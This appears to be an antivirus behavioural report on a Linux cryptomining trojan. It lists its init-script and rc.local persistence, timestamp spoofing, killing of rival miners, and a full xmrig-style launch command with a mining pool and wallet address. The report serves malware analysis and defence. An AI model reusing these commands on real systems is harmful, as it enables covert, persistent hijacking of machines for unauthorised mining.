Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/<SAMPLE>
- /etc/init.d/.depend.boot
- /etc/init.d/.depend.start
- /etc/init.d/.depend.stop
- /etc/rc.local
Creates or modifies the following symlinks:
- /etc/rc0.d/K02exim4
- /etc/rc0.d/K08umountfs
- /etc/rc0.d/K05umountnfs.sh
- /etc/rc0.d/K03sendsigs
- /etc/rc0.d/K04rsyslog
- /etc/rc0.d/K07networking
- /etc/rc0.d/K07hwclock.sh
- /etc/rc0.d/K06rpcbind
- /etc/rc0.d/K10halt
- /etc/rc0.d/K09umountroot
- /etc/rc0.d/K06nfs-common
- /etc/rc0.d/K01<SAMPLE>
- /etc/rc1.d/K02exim4
- /etc/rc1.d/K04rsyslog
- /etc/rc1.d/K06rpcbind
- /etc/rc1.d/K06nfs-common
- /etc/rc1.d/K01<SAMPLE>
- /etc/rc2.d/S02<SAMPLE>
- /etc/rc3.d/S02<SAMPLE>
- /etc/rc4.d/S02<SAMPLE>
- /etc/rc5.d/S02<SAMPLE>
- /etc/rc6.d/K02exim4
- /etc/rc6.d/K08umountfs
- /etc/rc6.d/K05umountnfs.sh
- /etc/rc6.d/K03sendsigs
- /etc/rc6.d/K04rsyslog
- /etc/rc6.d/K07networking
- /etc/rc6.d/K07hwclock.sh
- /etc/rc6.d/K06rpcbind
- /etc/rc6.d/K09umountroot
- /etc/rc6.d/K10reboot
- /etc/rc6.d/K06nfs-common
- /etc/rc6.d/K01<SAMPLE>
Malicious functions:
Launches itself as a daemon
Manages services:
- update-rc.d <SAMPLE> defaults 95
- systemctl daemon-reload
Launches processes:
- sh -c touch -r /bin/sh /etc/init.d/<SAMPLE>
- touch -r /bin/sh /etc/init.d/<SAMPLE>
- sh -c chmod 777 /etc/init.d/<SAMPLE>
- chmod 777 /etc/init.d/<SAMPLE>
- sh -c chkconfig --add <SAMPLE>
- sh -c chkconfig <SAMPLE> no
- sh -c update-rc.d <SAMPLE> defaults 95
- /sbin/insserv <SAMPLE>
- sh -c sed -i -e '/exit/d' /etc/rc.local
- sed -i -e /exit/d /etc/rc.local
- sh -c sed -i -e '/
- sed -i -e /
- sh -c sed -i -e '//<SAMPLE> reboot/d' /etc/rc.local
- sed -i -e //<SAMPLE> reboot/d /etc/rc.local
- sh -c sed -i -e '2 i//<SAMPLE> reboot' /etc/rc.local
- sed -i -e 2 i//<SAMPLE> reboot /etc/rc.local
- sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/rc.d/rc.local
- sed -i -e 2 i//<SAMPLE> reboot start /etc/rc.d/rc.local
- sh -c sed -i -e '2 i//<SAMPLE> reboot start' /etc/init.d/boot.local
- sed -i -e 2 i//<SAMPLE> reboot start /etc/init.d/boot.local
- sh -c pkill -f xmrig
- pkill -f xmrig
- sh -c pkill -f mine
- pkill -f mine
- sh -c pkill -f xmr
- pkill -f xmr
- sh -c pkill -f xmr.exe
- pkill -f xmr.exe
- sh -c pkill -f this
- pkill -f this
- sh -c pkill -f
- pkill -f
- sh -c ps auxf|grep -v grep|grep 3333|awk '{print $2}'|xargs kill -9
- ps auxf
- grep -v grep
- grep 3333
- awk {print $2}
- xargs kill -9
- kill -9
- sh -c ps auxf|grep -v grep|grep xmr|awk '{print $2}'|xargs kill -9
- grep xmr
- sh -c ps auxf|grep -v grep|grep mine|awk '{print $2}'|xargs kill -9
- grep mine
- sh -c ps auxf|grep -v grep|grep pool|awk '{print $2}'|xargs kill -9
- grep pool
- sh -c ps auxf|grep -v grep|grep 4444|awk '{print $2}'|xargs kill -9
- grep 4444
- sh -c ps auxf|grep -v grep|grep 1444|awk '{print $2}'|xargs kill -9
- grep 1444
- sh -c ps auxf|grep -v grep|grep 5555|awk '{print $2}'|xargs kill -9
- grep 5555
- sh -c ps auxf|grep -v grep|grep -p x|awk '{print $2}'|xargs kill -9
- grep -p x
- sh -c ./tmp/.inita -B -o stratum+tcp://xmr.1mh.net:1010 -u 44PerizfK2bSh4LpMXqkYwiCRnqRUFZrpQCYrLCnXJ6DTzVFjdQYpvABM1kVG1Euo59cZx5hUvgHuTDojiqodPeFDYaq5RT -p x -k --donate-level=1
- ./tmp/.inita -B -o stratum+tcp://xmr.1mh.net:1010 -u 44PerizfK2bSh4LpMXqkYwiCRnqRUFZrpQCYrLCnXJ6DTzVFjdQYpvABM1kVG1Euo59cZx5hUvgHuTDojiqodPeFDYaq5RT -p x -k --donate-level=1
- sh -c ps -ef|grep .inita
- ps -ef
- grep .inita
Kills the following processes:
- /bin/sh
Performs operations with the file system:
Modifies file access rights:
- /etc/init.d/<SAMPLE>
- /etc/sedYYlOW7
- /etc/sedrmvryt
Creates or modifies files:
- /etc/resolv.conf
- /etc/sedYYlOW7
- /etc/sedrmvryt
- /tmp/.inita
Deletes files:
- /etc/rc0.d/K01exim4
- /etc/rc0.d/K07umountfs
- /etc/rc0.d/K04umountnfs.sh
- /etc/rc0.d/K02sendsigs
- /etc/rc0.d/K03rsyslog
- /etc/rc0.d/K06networking
- /etc/rc0.d/K06hwclock.sh
- /etc/rc0.d/K05rpcbind
- /etc/rc0.d/K09halt
- /etc/rc0.d/K08umountroot
- /etc/rc0.d/K05nfs-common
- /etc/rc1.d/K01exim4
- /etc/rc1.d/K03rsyslog
- /etc/rc1.d/K05rpcbind
- /etc/rc1.d/K05nfs-common
- /etc/rc6.d/K01exim4
- /etc/rc6.d/K07umountfs
- /etc/rc6.d/K04umountnfs.sh
- /etc/rc6.d/K02sendsigs
- /etc/rc6.d/K03rsyslog
- /etc/rc6.d/K06networking
- /etc/rc6.d/K06hwclock.sh
- /etc/rc6.d/K05rpcbind
- /etc/rc6.d/K08umountroot
- /etc/rc6.d/K09reboot
- /etc/rc6.d/K05nfs-common
- /bin/wipefs
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
DNS ASK:
- xm#.1mh.net
Other:
Collects CPU information
Collects RAM information
Collects information about network activity